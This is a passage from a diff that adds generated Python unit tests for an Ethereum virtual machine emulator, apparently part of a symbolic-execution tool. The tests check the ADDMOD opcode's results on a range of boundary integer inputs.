+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_418(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_419(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_420(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_421(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_422(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_423(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_424(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_425(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_426(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2])
+
+    def test_ADDMOD_427(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_428(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_429(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_430(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_431(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_432(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_433(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_434(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_435(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_436(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_437(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_438(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_439(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_440(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_441(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_442(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [14L])
+
+    def test_ADDMOD_443(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_444(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_445(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_446(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [14L])
+
+    def test_ADDMOD_447(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_448(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_449(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
